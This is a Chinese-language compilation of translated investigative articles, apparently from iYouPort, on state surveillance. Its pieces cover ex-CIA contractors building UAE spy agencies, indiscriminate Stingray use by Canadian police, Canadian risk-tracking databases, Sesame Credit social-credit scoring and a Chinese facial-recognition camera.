据多位消息人士称，这一日益增长的情报训练行动背后的关键人物是前情报官 Larry Sanchez，正是他帮助启动了中央情报局和纽约警察局之间备受争议的伙伴关系，试图通过以下方式实施所谓的预防犯罪，包括：跟踪人们的一举一动，在清真寺、书店和纽约其他很多地方。

Sanchez 是 CIA 间谍机构的资深人士，过去六年来一直在为阿联酋的阿布扎比王储工作，从头开始建立大量的情报服务，六位知情人士告诉 FP。

但 Sanchez 只是许多前西方情报专业人士之一，有一大群间谍精英均已前往该海湾国家为后者提供间谍技术培训。著名的 Blackwater 创始人埃里克·普林斯（Erik Prince）高调移居阿联酋，专门为王储服务，还创建了一支外国军队，其细节最早由纽约时报于2011年揭晓；前白宫反恐沙皇 Richard Clarke 也是阿布扎比王储的长期高级顾问。

阿联酋依赖外国人建立间谍机构这事并不新鲜，但该海湾国家通常试图将这些帮助的细节保留在公众视野之外，而且在谈到培训其新生的情报行动时，从来不会透露任何细节。不过，不论如何，使用美国前情报员工来建立君主制国家的间谍能力，依旧是比较新鲜的事。

Sanchez 在为阿联酋的情报运作提供蓝图方面发挥作用，指导整体布局，足够显示这些私人承包商在兜售从美国军事和情报界工作数十年中所获得的技能方面究竟走了多远。

这种工作现在也触及了法律问题，因为美国政府正在研究法律如何管理训练有素的情报官员在国外兜售他们的技能。不过是否考虑地缘政治利益呢？就不知道了，否则为什么会有美国大兵帮助君主制国家实施暗杀计划？详见《中东君主制如何雇佣美国战士以杀死其政敌？—这大概就是战争未来的样子》。

Sanchez 拒绝回复外交政策杂志提出的问题。

六名前情报官员和承包商向FP介绍了该培训操作，但他们要求匿名讨

论这些敏感情报操作，据称是为保护仍在阿联酋工作的朋友和同事，并保护他们未来的就业能力。毕竟这是个惹眼的丑闻。

更引人注目的是，现在参与管理合同的是政府附属机构阿联酋间谍技术公司 **DarkMatter**，目前正在接受 **FBI** 的调查。这个臭名昭著的 **DarkMatter** 是网络战雇佣兵团体，专门被收买来攻击别人的，在这里看到《网络战雇佣兵团体不应该在您的浏览器或其他任何地方受信任》。

FBI 也拒绝对此发表评论。

虽然这些前间谍对培训是否有效、是否合法且是否符合美国利益，持有一系列的观点，但是他们都同意，让私人承包商创建外国情报服务可能是前所未有的。*Then assistant New York City police Commissioner Larry Sanchez, left, testifies on Capitol Hill in Washington on Oct. 30, 2007. (Dennis Cook/AP)*

纽约是 Larry Sanchez 从弗吉尼亚州兰利的中央情报局总部一直到阿布扎比的跳板。在中央情报局的大部分职业生涯中，Sanchez 都是一名在其他机构或组织中担任职务的卧底人员。但在2002年，即9/11恐怖袭击事件发生后不久，当时担任中央情报局局长的 George Tenet 派遣 Sanchez 到纽约与纽约警察局副局长 David Cohen 一起工作。

中央情报局和纽约警察局之间已经有了非正式的联系：Cohen 也是该机构的前负责人。在纽约，Sanchez 为执法部门提供了有关基地组织的实时情报；反过来，纽约警察局派遣人员渗透到清真寺和穆斯林社区，以及任何其他潜在的所谓“激进化”的地方进行监视。目标是防止另一次9/11型攻击。

虽然 Sanchez 在纽约警察局工作，但该部门与阿联酋的关系也在不断扩大，而且与众不同。2008年，纽约警察局和阿联酋政府达成了一项情报共享协议，纽约警方在阿布扎比设立了一个卫星办公室。2012年，阿联酋还为纽约警察基金会的情报部门提供了一百万美元的资金，这是来自公共税务申报的信息。

根据前执法消息来源称，在纽约警察局任职期间，Sanchez 与高级阿联酋官员发展了“持续的关系”，其中就包括阿布扎比统治者谢赫哈利法·本·扎耶德·阿勒纳哈扬。

消息来源解释说，阿联酋人不熟悉“情报世界”，Sanchez 去找他们说：“听着，我不会像其他一些美国实体那样飞过来告诉你然后就离

开，我会一直在这里为你服务。凌晨3点打电话给我，我就在这里。’……他通过这样的承诺赢得了阿联酋人的心。“

即使 Sanchez 建立了与阿联酋的关系，他在国内的工作也受到了审查。2011年中央情报局检查员对纽约警察局的官员进行了一般调查，没有发现具体的违法行为，但得出结论认为，美国最高外国间谍机构与当地警察局之间的密切关系正在侵蚀公众的信任。

这一揭示导致了9/11之后保护隐私权利的公民自由组织的强烈抗议。美国中央情报局认为其支持不构成对美国人的间谍活动，但民权倡导者不同意这种辩词。

“中央情报局不被允许进行针对国内的监视，”电子隐私信息中心开放政府项目负责人 Ginger McCall 告诉“纽约时报”。

当尘埃落定并且中央情报局决定结束其在纽约警察局的计划时，Sanchez 已经前往中东了。*Crown Prince of Abu Dhabi Sheikh Mohammed bin Zayed Al Nahyan attends the 2017 Dubai Airshow on Nov. 12, 2017. (Mahmoud Khaled/Anadolu Agency/Getty Images)*

当双子塔于2001年在纽约被袭击时，阿联酋发现自己陷入了对“国际恐怖主义”的担忧之中。该海湾国家在不知不觉中成为恐怖分子的过境中心，其中两名911劫机者是阿联酋人。战略与国际研究中心中东项目主任 Jon Alterman 说，这次袭击是阿联酋的转折点。

“这促使他们做了一些涉及阿联酋境内宗教组织的事，但也涉及更广泛的国家安全方面 …… 当然对国家安全方面的担忧总是存在，但我认为9/11事件确实加剧了很多问题。”

阿联酋希望建立其情报基础设施，并寻求援助，于是他们转向西方。历史上，阿联酋官员的目标是尽可能充分地复制西方的情报防御结构。在制定防御战略时，阿联酋参照了澳大利亚、英国、美国和其他五眼九眼国家。

然而，据熟悉他们的工作的人说，这种方法的缺点是，阿联酋购买了一大堆战略，将它们组合在一起，但结果就像不合适的拼图，往往缺乏中心愿景和计划。

当 Sanchez 在阿联酋的时段里，参与情报培训的西方重要人物的数量正在增长。澳大利亚和英国的军事情报人员也在那里工作。

但 **Sanchez** 受益于他在纽约市反恐工作期间与该执政皇室的个人关

系。

甚至美国政府有时也会直接这种培训协助。在2010年和2011年，随着伊朗人建立其网络攻击能力的增强，美国政府官员和国防承包商前往阿联酋，专门帮助培训阿联酋人进行数字安全和进攻性网络攻击行动。

虽然美国政府普遍接受海湾君主制国家在美国的帮助下建立自己的团队的努力，但是，高级官员却允许美国公民直接参与进攻性的网络行动，即 发动攻击。

2011年底，美国政府顾问和承包商帮助建立了与美国国家安全局相当的阿联酋情报部门，其名称最初 为国家电子安全局，现在已经改为信号情报局（更直白了）。

根据前情报官员与FP分享的文件和幻灯片，美国参与了从帮助选择一个可以获得电力和光纤连接的安全场所到确定哪些建筑物将被公开以及哪些机构被保密的所有内容。

大约在同一时间，Sanchez 和他的团队抵达阿联酋并开始教授监控技术。作为总部位于巴尔的摩的低调情报承包商 CAGN Global Ltd.的总裁，Sanchez 开始组建一支由大多数前执法人员、退休的西方情报官员、和前士兵组成的团队，以培训阿联酋人如何成为优质间谍和准军事人员。

该培训计划最初是作为对阿联酋领导层的简单指导而开始的，然而，其增长速度超过了任何参与者的预期。他们开始严重依赖 Sanchez，以至于他们希望 Sanchez 帮助建立所有主要的情报机构。

对阿联酋人的培训课程以 CIA 的标准培训为蓝本，分为不同的部分，包括“基本情报输送”、简单的新兵训练营、报告撰写、汇报和记笔记、外国情报“外部”计划、FBI /执法课程，以及准军事课程等等。

FP获得的培训计划资料里还包括“兔子跑”，就是培训师带领学员进行监视任务。他们还被教授“观察技能”，关于如何发现潜在的目标。

外部监控课程几乎是中情局“农场”培训的精确复制品。“这正是他们在农场教的……这是同样的材料，”Sanchez 公司的一名前雇员告诉FP。据熟悉该公司的第二位消息人士透露，培训师使用中央情报局的培训材料实际上引起了中央情报局的“愤怒”。

例如，在一门课程中，前三角洲军队的操作员教授准军事技能，如驾

驶和射击。“通常他们会在部署到也门这样的地方之前或之后进行这样的课程，” 其中一名前培训师解释说。

然而，虽然所有接受采访的教官都同意所教材料的复杂程度不同，但学员们对所以东西都好奇。 “这对他们来说都是难以置信的新事物，” 其中一位前教官说。*A view of Abu Dhabi in August. (Alexander Shcherbak/TASS via Getty Images)*

由于 Sanchez 和其他前美国情报承包商扩大了他们在阿联酋的培训，许多培训师开始叨念一个问题关于他们所做的事是否完全合法。美国人面临着允许他们在国外提供的军事和情报训练的限制，因为美国国际武器贸易条例是一套复杂的规则，将这种训练归类为“出口”。

违反这些规定的美国人可能会受到起诉。

Sanchez 的公司 CAGN Global 获得了国务院的出口许可证，以进行基本的安全和情报培训。但去年，包括国务院和中央情报局在内的一些政府机构对此进行了审查。一些培训师开始担心课程范围扩大超出了其职权范围，尽管消息人士表示，这更多地与国务院的错失付款和中央情报局对使用类似于自己的培训材料的挫败感有关。

国务院拒绝就此记录发表评论。

Sanchez 的工作已经扩展到了国内情报课程，重点是针对内部的监视，如 al-Islah，一个隶属于穆斯林兄弟会的阿联酋伊斯兰组织。在过去六个月左右的时间里，Sanchez 及其团队还通过“外部”课程展望了一个新的外国情报机构的目标，重点是针对也门、伊朗、叙利亚、卡塔尔、厄立特里亚和利比亚。

其中一位消息人士指出，阿联酋“有一些糟糕的邻居”。他们认为也门是一个“失败的国家”，经常与基地组织的领导人对抗，并担心索马里和阿曼的不确定性。消息来源继续说，他们与伊朗的冲突“如此之深，总是会有麻烦”。

消息人士解释说，阿联酋人是美国的朋友，但他们对西方是否有朝一日会放弃他们持谨慎态度。他们认为，“我们需要自己保护自己。”

两位熟悉培训计划的消息人士指出，即使阿联酋培养出自己的间谍，也不能保证在海外部署这些间谍。阿联酋并不是一直在为这些国家的大使馆提供资金，因此没有必要的物质支持来完全实现该计划，特别是在像伊朗那样规模更大、更具安全意识的国家。

虽然在一个专制国家盯着一台监视器，对于一名前中央情报局特工来说似乎是一个奇怪的退休计划，但 Sanchez 与阿联酋政府有着类似的安全问题。潜在的敌人，无论是伊朗、穆斯林兄弟会还是基地组织，都是阿联酋潜在威胁的重要组成部分。同样，Sanchez “总是对兄弟会和伊朗人有一定程度的警惕，”前执法人员说，“他觉得自己做得很好。”

他的确做得“挺好”。四名消息人士告诉**FP**，**Sanchez** 拥有一艘由王储赠送给他的豪华渔船。

然而，Sanchez 在阿联酋的工作并非毫无顾虑。从一开始，情报界的一些问题就是关于阿联酋政权是否将合法的批评者称为“恐怖分子或外国特工”的。“阿联酋声称任何反对该政权的人都是受伊朗人或波斯人影响的……无论是谁，”这位前知情人士告诉FP。

尽管建立了以西方为蓝本的间谍机构，但阿联酋也因压迫政治异议而闻名世界。人权组织记录了一大把关于该国政权对活动人士和持不同政见者进行任意拘留和酷刑的案件。最值得注意的是，政府已经使用了一些进口的高级监视工具来瞄准著名的公民活动家艾哈迈德曼索尔，他自**3**月以来一直被拘留。

Lowenthal 在21世纪初期担任中央情报局情报分析助理主任，并指导众议院常设情报委员会的工作人员。他说，“其他公司或国家向我们寻求帮助的想法并不新鲜……这已经持续了很长时间，关于情报服务合作。”

情报合作可能并不新鲜，但是，使用私人承包商提供情报培训仍然是一个相对较新的现象，并且不是每个人都感到满意的现象。

这位前执法人员指出，在阿联酋工作的美国情报员工往往避免与 Sanchez 或其公司直接接触。尽管中央情报局和政府直接参与了批准间谍培训出口许可证。

要知道，即使中央情报局的员工没有与 Sanchez 直接接触，该机构似乎也没有对他的工作有任何疑问。据三位消息人士透露，中央情报局驻阿布扎比的站长很清楚 **Sanchez** 的使命 —— 事实上，该站长的妻子曾经为 **Sanchez** 工作过一段时间。

美国中央情报局拒绝发表评论。

阿联酋驻华盛顿大使馆没有回应有关美国情报承包商的任何问题的多

项评论请求。发送给阿联酋政府新闻办公室的电子邮件也未得到答复。

“那里有很多自以为是的和糟糕的管理，”一位前雇员说。虽然 Sanchez 吸引了许多高级前官员，包括前中央情报局的一些主要负责人，其中许多人并没有留下多久。

消息人士告诉FP，另一位被 Sanchez 雇佣的前美国情报官员负责运营，此人是人员流动率高的主要原因之一。据两位消息人士透露，因为该官员经常解雇教官，并创造了不良工作环境。那位官员没有回复评论请求。

一家名为 LUAA LLC 的阿联酋公司由前英国特种部队官员负责，于去年春天开始接管。第三家阿联酋公司是臭名昭著的 DarkMatter 公司的子公司，该公司为阿联酋政府的网络安全和情报工作，目前也正在积极参与其中。

LUAA 的所有权让一些培训师感到不舒服。由于 LUAA 是一家阿联酋公司，美国员工不确定这是否会使他们维持安全许可的能力复杂化。

与此同时，情报训练计划继续发生变化。根据两位消息人士透露，CAGN Global 和 Sanchez 在与阿联酋官员吵架后都出局了，继而由现在正在接受FBI调查的 DarkMatter 负责。DarkMatter 拒绝就其正在进行的业务发表评论，但他们解释说，寻求“专业网络安全和情报能力”的国家和企业对公司来说是一个“良好的商机”。果然是著名网络战雇佣兵组织说出来的话。

至于帮助建立阿联酋情报部门的美国人，总会有下一桩生意的。两位消息人士指出，为沙特阿拉伯提供类似的情报培训计划已经进行长达数年的时间。

Deep Pockets, Deep Cover: The UAE Is paying Ex-CIA officers to build a spy empire in the Gulf

原文

黄貂鱼的崛起 - iYouPort

政府的间谍行为

法庭文件显示加拿大执法人员不分青红皂白地操纵黄貂鱼，席卷数千名无辜的电话所有者，这是怎么回事？

「图」

「图」

加拿大执法部门不愿披露黄貂鱼数据。

多伦多议会和加拿大皇家骑警联合部署了一个监视大撒网，围捕了成千上万无辜的加拿大人。

多伦多警方和加拿大皇家骑警官员在两个月的时间内部署了很多可怕的“黄貂鱼”监视技术，在商场、公园甚至儿童玩具店的*2*万多名无辜者身上钓取手机数据。

在*2014*年的调查中，警方因想要对*11*名嫌疑人寻找手机数据，他们在三十个地点部署了黄貂鱼—— 也称为*IMSI*捕手—— 包括约克维尔中部 *Dufferin* 购物中心、*Trinity Bellwoods* 公园附近的 *Vaughan Mills* 购物中心，靠近肯辛顿市场，以及位于列治文山的 *Toys’R’Us* 商店。

这些扫荡发生在执法机构承认拥有和部署黄貂鱼的几年之前。

在过去几年中，加拿大检察官成功避免了指控，而不是在公开法庭上讨论这些设备。这个案子一定是太大了，不能放手。它涉及50次袭击，112次逮捕，以及从持枪到谋杀等各种指控。

多名被告现在正在挑战从多个黄貂鱼部署中获得的证据，认为这是非法收集的。法院可能会采纳，但这些部署不太可能违反代理商自己的政策。几乎所有获得黄貂鱼的执法机构都在使用黄貂鱼后首先制定了政策。这里涉及的机构也不例外：

加拿大皇家骑警发言人表示，临时指南规定，这些监视设备通常会运

行三分钟，但在某些情况下，如果法官允许，可能会运行更长时间。

根据在这些案件中作为证据提交的跟踪日志中包含的内容显示，对非嫌疑人的跟踪似乎很少有限制。

根据日志，警方于*2014*年*3*月*18*日至*5*月*23*日期间在三十个地点部署了该监视设备。总之，该设备记录了大约*25,000*次捕获。由于警察在某些地方多次使用该设备，因此在同一时间内可能已经多次捕获了相同的手机*;* 除了那些重复的之外，多伦多和*GTA*中至少有*20,000*名无辜者的手机数据被捕获。

在一个地方—— 一个被怀疑是目标居住的公寓—— 执法部门操作该监视设备将近十分钟，横扫了1400部手机。

许多日志显示在申请手令时违反了执法部门的限制。获得宣誓书的官员未能提及该设备作为跟踪设备的能力。该官员还表示，该设备一次只能运行三分钟，然后是两分钟的“休息”—— 事实上操作人员不是每隔三分钟做一次，而是每三分钟切换一次频率，在每次部署期间几乎不间断地运行监视设备。

根据法庭文件，获得逮捕令的多伦多警察证人作证说他之前从未使用过*IMSI*捕手，并且他复制粘贴了一套用于先前案件的逮捕令中使用的“标准”措辞。加拿大皇家骑警的部署技术项目经理证实，标准措辞是“由非设备操作人员编写的，因此他们并不完全了解技术能力及其运作方式。”

重申：黄貂鱼正在部署在运营政策真空中。根据给予 Star 的声明，加拿大皇家骑警表示，在公开承认其所拥有和使用黄貂鱼之后，它所称制定的政策仍未实施。

2017年制定的临时政策是指导黄貂鱼使用的唯一内部法律框架。实际上，这意味着 RCMP 根本不控制部署。在这种情况下，它还意味着派遣业余爱好者去做专业人员的工作，以确保可以拿到手令。把所有这些信息放在一起，你完全可以假定他们一直在使用这些设备而没有人发现。

应对方案详见《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？#反监视技术》

Court Documents Show Canadian Law Enforcement Operated Stingrays Indiscriminately, Sweeping Up Thousands Of Innocent

Phone Owners

原文

“强行干预”数据库 - iyouport

你我的灾难现实少数派报告

【2019年5月22日存档】你生活的方方面面都被收集到一个大型的数据库中，如果当局通过对你的信息进行分析后认为你”有风险”，你就会被强行”干预”，干预方法包括查水表、喝茶、逮捕和强行”治疗”。这是谁干的？

警察、社会服务和卫生服务工作者正在使用共享数据库来追踪弱势群体的行为—— 包括未成年人和无家可归者—— 几乎没有监督，更没有经过同意。

欢迎来到加拿大。

安大略省社区安全和惩教署（MCSCS）的文件显示，至少有两个省份—安大略省和萨斯喀彻温省—维持着一个名叫“风险驱动的跟踪数据库”，用于收集高度敏感的关于人们私生活的信息。数据库中的信息包括一个人是否使用毒品、是否是攻击的受害者，还是生活在所谓的“负面社区”。

风险驱动的跟踪数据库（RTD）是警务协作方法的一部分，被称为Hub 模型，合作伙伴包括警方、学校员工、社会工作者、医疗保健工作者和省政府。

任何被认为“有风险”成为犯罪分子或受害者的人的信息，都在民间机构和警察之间共享，并且在评估针对一个人进行的旨在降低其风险等级的“快速干预行动”时也会将其添加到数据库中。干预方式可能包括敲门查水表、喝茶聊天、强迫住院或逮捕等。

分析来自RTD的数据以确定趋势—例如，特定区域的药物使用激增—目标是生成有效部署资源的规划数据，并创建可加速 Hub 模型下干预的“社区概况”，来自2015年加拿大公共安全报告。

萨斯喀彻温省和安大略省官员表示，RTD 中的数据（有时称为萨斯喀彻温省的“中心数据库”）通过删除人员姓名和出生日期等详细信息进

行“去识别”，尽管专家告诉主板说，这些数据可能永远不会被删除。

主板调查—涉及通过 MCSCS、警察和城市文件进行梳理—发现，在2017年，12至17岁的儿童是安大略省几个地区数据库中最常见的年龄组，并且未经同意就进行了一些干预。在某些情况下，年仅6岁的儿童也受到干预。

那么人们的信息是如何被添加到数据库中的？

Hub 模型旨在将警察与社区成员联系起来，以评估针对潜在“风险”人群的干预措施。

例如，可能会要求警察一次又一次地回应某人的破坏性但非犯罪行为。根据中心模型，相关官员可以将目标人的情况带到中心—可能包括儿童福利、成瘾或住房援助机构的工作人员—并询问其他机构是否可以进行干预。

在随后的评估期间，参与者之间共享关于该人的信息并输入 RTD。当地执法人员，社会工作者和卫生工作者可以知道该人的身份，但是当他们的信息被添加到 RTD 时，可能不包括可识别该人的详细信息。如果机构集体决定该人处于“急剧升高”的风险水平，则会采取干预措施。如果中心从业者认为某人受到高度伤害，则可以在未经同意的情况下进行干预。

根据 MCSCS 的文件，截至2018年4月，在加拿大和美国的城镇中有100多个这样的中心正在运营，其中37个在安大略省（其中Hub通常被称为“情况表”）为风险驱动的跟踪数据库做出了贡献。预计到今年年底总共将有55个。

安大略省和萨斯喀彻温省至少有这两个省份维持自己的 RTD 版本，但主板无法确认数据库是否在其他省份使用。

萨斯喀彻温大学的学术研究员兼 RTD 的首席开发人员 Chad Nilson 博士没有回答有关该数据库的问题。只说过 RTD 正在“加拿大各地”使用。

对警察和社区合作伙伴委托的安大略省两个城市的情况表进行的评估显示，一些干预措施已经以强迫住院或逮捕而告终。对 Waterloo “情况表”的评估指出了一个人在被干预后遭受非自愿住院治疗的情况。

根据 MCSCS 文件，2017年为12至17岁的儿童举办了300多次与RTD相关的谈话，为6至11岁的儿童举办了30次。安大略省2017年度 RTD

报告指出，12至17岁的儿童是数据库中“最脆弱”的年龄组，并且在几个地区的 RTD 中最为普遍。

Hub 干预要求警察、教育工作者、医生和社会工作者分享关于弱势群体的极其敏感的信息—并将其添加到省级数据库中—这个过程充满了隐私侵权的可能性。

RTD 中的数据可能包括一个人的年龄组、性别、位置以及用于描述个人情况的100多个所谓的“风险因素”。根据 MCSCS 文件，2017年数据库指出的中人们最常见的所谓风险因素是心理健康（包括“疑似”心理健康问题），犯罪参与、吸毒和“反社会/消极行为”，定义为“讨厌”[或者]破坏性的“行为。

当被问及情况表使用有时模糊的风险因素来证明干预的合理性时，MCSCS 重申被认为具有高危害风险的个人比如表现出“多重风险因素”，则被认为需要采取协作方式进行干预。

2014年，萨斯喀彻温省的 IPC 已经对该省 Hub 相关隐私侵权的行为进行了调查。该调查发现了隐私保护中的“缺陷”，并指出某些 Hub 数据库包含个人身份信息。

该报告还发现，Hubs 的目标人群并未获知如何提交隐私投诉，并且 **Hub** 代理商至少两次搜索 **Facebook** 帖子作为关于某人风险等级的信息来源。

萨斯喀彻温省 IPC 在2017年告诉 Motherboard 采取了纠正措施，例如确保 Hubs 不再使用 Facebook 数据来评估个人的风险等级，并且 IPC 对这些步骤感到满意。

虽然有关部门声称这些数据是“去识别的”，但 RTD 中使用的100多个风险因素可能会描述一个人的生活私密细节，监视他们是否喝酒，是否难以找到稳定的住房，是否逃学，失业，或与所谓的“负面同伴”联系。

特别需要关注的是，RTD 被用于预测性监管的目的—这是一种利用数据分析来识别犯罪热点的严重有争议的策略。也就是少数派报告的那种东西。一份报告指出，SPPAL “扩展了 Hub 模型的风险跟踪系统。”

目前还不清楚加拿大当局使用什么算法来分析 RTD，但自动化工具也存在风险。专家指出，支持 **PredPol** 的算法是最广泛使用的预测性警

务技术之一，其根本上存在缺陷，可能导致过度监管，特别是对于边缘化社区。

根据主板获得的2016年协议副本，警方向 RTD 发送数据的服务必须与 MCSCS 签署协议，禁止他们在没有得到部门书面同意的情况下与媒体就数据库问题进行交谈。

McPhail 表示，如果没有提高透明度，Hubs 将继续对他们在 RTD 中编译数据的弱势群体的隐私权构成风险。

Police in Canada Are Tracking People's 'Negative' Behavior In a 'Risk' Database. The database includes detailed, but "de-identified," information about people's lives culled from conversations between police, social services, health workers, and more.

原文

"深夜上网"都会降低你的“社会信用评分”？无人能摆脱这种强制性监视 - iYouPort

中国-半壁高堡奇人少数派报告

社会信用和移动金融服务的可能性被阻止，以惩罚公民的抗议行为，仅作为一个例子。如果这两项服务在一个人的日常生活中变得不可或缺，那么政府批准冻结用户账户可能对公民自由造成重大损害。

中国政府已批准对社会信用体系进行试点，该体系利用公民的个人数据来分配非正式的信用评分，这些信用评分附带着私营公司和政府部门管理的利益和惩罚。

信用评分数据的五个维度是“信用历史，行为偏好，履约能力，身份特质和人脉关系”。获取信用评分的算法是“商业机密”，禁止可以确定其工作方式的测试形式。债权人的政府黑名单正在与私人和公共信用评分服务共享，以禁止个人进行某些交易。

这篇文章是“移动支付系统系列”中的第二篇，探讨了外国媒体中日益覆盖的中国移动支付应用功能：测试其有朝一日可能成为全国官方社会信用系统，以取代其传统的模拟对应物。目前最受欢迎的公开社会信用评分由阿里巴巴子公司蚂蚁金服建立的芝麻信用发行。

西方媒体把对社会信用体系的报道描述成了一种类似科幻小说的现象，即根据公民的在线行为、财务信息和政府记录为公民分配分数。

蚂蚁金服的代表透露，”深夜浏览网络”、玩视频游戏的时间、和购买特定物品都可以降低一个人的分数。无论这些说法是否属实，芝麻信用的评分机制仍处于试验阶段，因此可能会发生变化。我们对此类系统的潜在安全性、隐私性和其他问题的探索旨在提出可以为讨论如何发展的问题提供信息。

早在2003年，中国政府就表示，有兴趣创建一种全面的方式来分配公民信用评分，这将是对国家信用评级系统的改进。国务院最近批准了

《社会信用体系建设规划纲要（2014—2020年）》，目前已有8家公司获得央行许可，可以进行自己的社会信用体系试点测试，类似于美国个人信用评级法（FICO）的消费者信用评级。

这种努力在中国独一无二的部分原因在于模糊性，在某些情况下完全没有以信用评分为目的的大数据收集规定，此类分数的潜在第三方使用，以及影响信用评分计算的用户数据的隐私保护。2016年11月7日发布的《中华人民共和国网络安全法》包含有关隐私保护的术语，但直到2017年6月才会实施。

本文涉及芝麻信用的社交信用评分服务，支付宝用户目前可以选择在该应用程序中接收该服务。芝麻信用分是最受欢迎的例子：中国全国社会信用体系有朝一日如何运作，提供了中国公司、公民和国家思维在这样一个体系中应该考虑的因素。

这是中国政府更广泛地利用大数据作为社会控制资源的一个组成部分。 信用评分分为五个维度："信用历史，行为偏好，履约能力，身份特质和人脉关系"。这些类别的简要说明包含在支付宝的芝麻信用功能中，他们没有透露哪些具体行动会改变一个人的得分。

「图」

「图」

根据文件，"行为偏好"指的是诸如及时支付账单等行为，而"个人信息"包括年龄、性别、职业和教育历史。更令人不安的是，芝麻信用把不明确的"稳定性概念"考虑进去了，公司代表在没有明确界定的情况下提到了这一点。这些似乎是一个人的财务和社会地位的高度主观标记，有助于信用评分机制。

这个文件的同一篇文章指出，"如果您的地址经常变化，您的信誉将相应下降。此外，你的朋友的信用记录也将影响你的芝麻分"。误传的空间以及基于这些因素的歧视是广泛的，并且作为其背后的改变行为的动机也是相关的。

蚂蚁金服的首席信贷数据科学家俞吴杰曾表示，"如果你经常向慈善机构捐款，你的信用评分会更高，但它不会告诉你每个月需要多少付款……但是希望每个人都能捐款"。

此外，芝麻信用的技术总监李应云表示，"例如，每天玩电子游戏10小时的人会被视为闲着的人，经常买尿布的人可能会被认为是父母，

他们总是更有可能有责任感”。

截至目前，这些声明加剧了西方媒体对社会信用的谴责，虽然应该注意到唯一可以确定地知道公司代表引用的因素可以提高或降低分数的方法是解构它们的算法，但是这些算法被视为商业机密。

如果没有对社会信用算法进行静态或动态测试的能力，我们怎样推断出它是如何运作的？芝麻信用的业务发展总监邓一鸣表示，用于产生信用评分的数据中只有30%到40%来自阿里巴巴拥有的公司和服务。除了通过支付宝应用程序中的用户活动收集的数据，芝麻信用使用从阿里巴巴的电子商务网站，共享单车应用程序，与支付宝相关的餐馆以及涉及法律、教育和商业的政府部门收集的数据计算个人得分。

这种数据交换最明显的例子之一就是芝麻信用与最高人民法院的关系，据报道，最高人民法院已经分享了其债务人黑名单和其他违反法院判决的人，以阻止这些人在淘宝和天猫进行所谓的奢侈品购买。

这种安排提出了芝麻信用是否在相反方向分享数据的问题，可能向其合作政府部门提供用户的交易信息。这些合作往往被芝麻信用与私营部门合作为高分人群提供福利所掩盖。

目前，拥有较高社会信用评分的特权包括免押金预订租车或酒店房间，以较低的利率贷款，在线购买付款前试用，通过简化流程获得卢森堡和新加坡的签证。其他表示有兴趣参与加速签证签发的国家包括日本、韩国、斯里兰卡和英国。人们一直在讨论高信用评分未来用于相亲和招聘的情况，这强调了有偏见的投入可能在很大程度上造成新的社会障碍。

中国政府把社会信用体系描述成重建公民与当地企业之间信任的一种手段，例如餐馆将受到遵守卫生法规的监控。建立社会信用体系的另一个框架论点是，它将使传统上无法获得信贷的人能够获得信贷，如学生、蓝领工人、小企业主等。

然而到目前为止，似乎具有较高分数（其中据推测实际上很少有用户已经获得）的优点是有利于那些财务状况较好的人来进行奢侈和频繁支出的优势。有人批评芝麻信用为那些进行更多支付宝交易的人提高了分数，该公司坚决否认这一点。与父母相关的购买获得高分，而改变家庭住址的人得分较低的例子进一步表明，缺乏背景可导致人们行为的误传，这可能带来不成比例的后果。

将大数据项目解释为采用用户数据的“客观”度量存在危险，部分原因

是在指标不准确的情况下，很难对此提出异议。“华尔街日报”最近的一篇文章中的有个例子：一名女子使用她儿子的地铁通行证而被罚款，对算法来说，这似乎是盗窃行为。这一小事件引发了对社会信用评分可能被设计为脱离背景运作方式的担忧。什么样的法律补救措施可用于社会信用体系下的重大错误？

该领域当前实验的状态引发了许多关于用户保护的问题。关于用户隐私，很少讨论使个人的分数可以被他人看到的含义。例如，支付宝提供了一种游戏，在这种游戏中，朋友可以猜测彼此的信用评分并将其显示给彼此。

除了其他用户，为高信用评分持有者提供特殊服务的外部公司，以及应用程序与政府机构合作，将使用芝麻信用额度数据分享给哪些第三方？一些媒体报道指出，社会信用数据收集机制的集中化使得类似档案的个人在线和离线生活档案更加便携。

有哪些安全程序可以保护这些宝贵的个人信息库？

具有讽刺意味的是许多监控设备，社会信用系统及其相关传感器，QR 码和其他跟踪阅读工具的传播已经产生了新的安全问题，而不是通过近乎无处不在的监控来减少它们的行为。

这些新威胁涉及信用评分数据的伪造方式，以及可能使用虚假信用评分的目的。在北京机场加快对国内航班上旅行得分高的芝麻信用户的安全检查提供了一个例子，证明伪造的高分可以使某人绕过更严格的安全检查，这个技术娴熟、镇定自若的演员可能对国家安全构成威胁。

社会信用体系的使用越广泛，它可能为高分者提供的奖励范围越大，找出如何破解它的激励就越多。关于如何提高一个人的信用评分的文章和主题已经在增加，目前还不清楚入侵特定账户和伪造信息的难度。

正如前一篇文章所述，阿里巴巴经历了公司员工和外部黑客的数据泄露。由于社会信用体系的快速建立可能会使那些作为数据窃取和勒索管理目标的公司成为可能，因此必须质疑他们采取了哪些预防措施。

此外，由于大量的数据收集物联网（IoT）设备在中国销售，因此，作为社会信用的输入，跟踪公民的一举一动并从这些信息中获取的颗粒度能力只会越来越强，并且需要物联网制造商的工作来解决这些问题。

我们考虑的安全和审查相关问题是，社会信用和移动金融服务的可能性被阻止，以惩罚公民的抗议行为，仅作为一个例子。如果这两项服务在一个人的日常生活中变得不可或缺，那么政府批准冻结用户账户可能对公民自由造成重大损害。

切记，随着该系统的推出，虽然确定信用评分的算法可能会以用户和研究人员无法察觉的方式快速改变，但是国家和公司塑造社会信用系统发展的力量更加根深蒂固，并最终负责社会信用体系可能产生的现实结果。

"CASHLESS SOCIETY, CACHED DATA"

原文

中国推出”超级监控摄像机”辅助社会信用评分 - iyouport

关于中国社会少数派报告

【2019年12月26日存档】距离中国的 “社会信用评分” 系统全国实施，还剩下最后一周。

社会信用评分 —— 这绝对不是新闻；提醒对这种新的监视形式的警惕开始于五年前。

以下是这五年来的简要回顾：

- 《又一个被漠视的深渊》
- 《胡萝卜：中国当局大举奖励最顺从的公民》
- 《监视操纵社会：中国尝试通过社会信用系统改变社会行为》
- 《“深夜上网”都会降低你的“社会信用评分”？无人能摆脱这种强制性监视》
- 《“社会信用”监视：英国、中国、美国和日本【Viedo】》

现在，这一少数派报告式的监控系统有了更为强大的现实辅助。

中国推出了一种新的监视相机，其分辨率是人眼的五倍，能够实时监视数千人、并识别人脸，由此引发了人们对大规模监视的新担忧。

澳大利亚ABC新闻报道称，在中国国际工业博览会上揭晓了这种被称为 “超级摄像机” 的新型500万像素面部识别超级“AI”监控相机。

该监控相机系统配备了最先进的面部识别工具，是由复旦大学和中国科学院长春光学精密机械与物理研究所设计的。

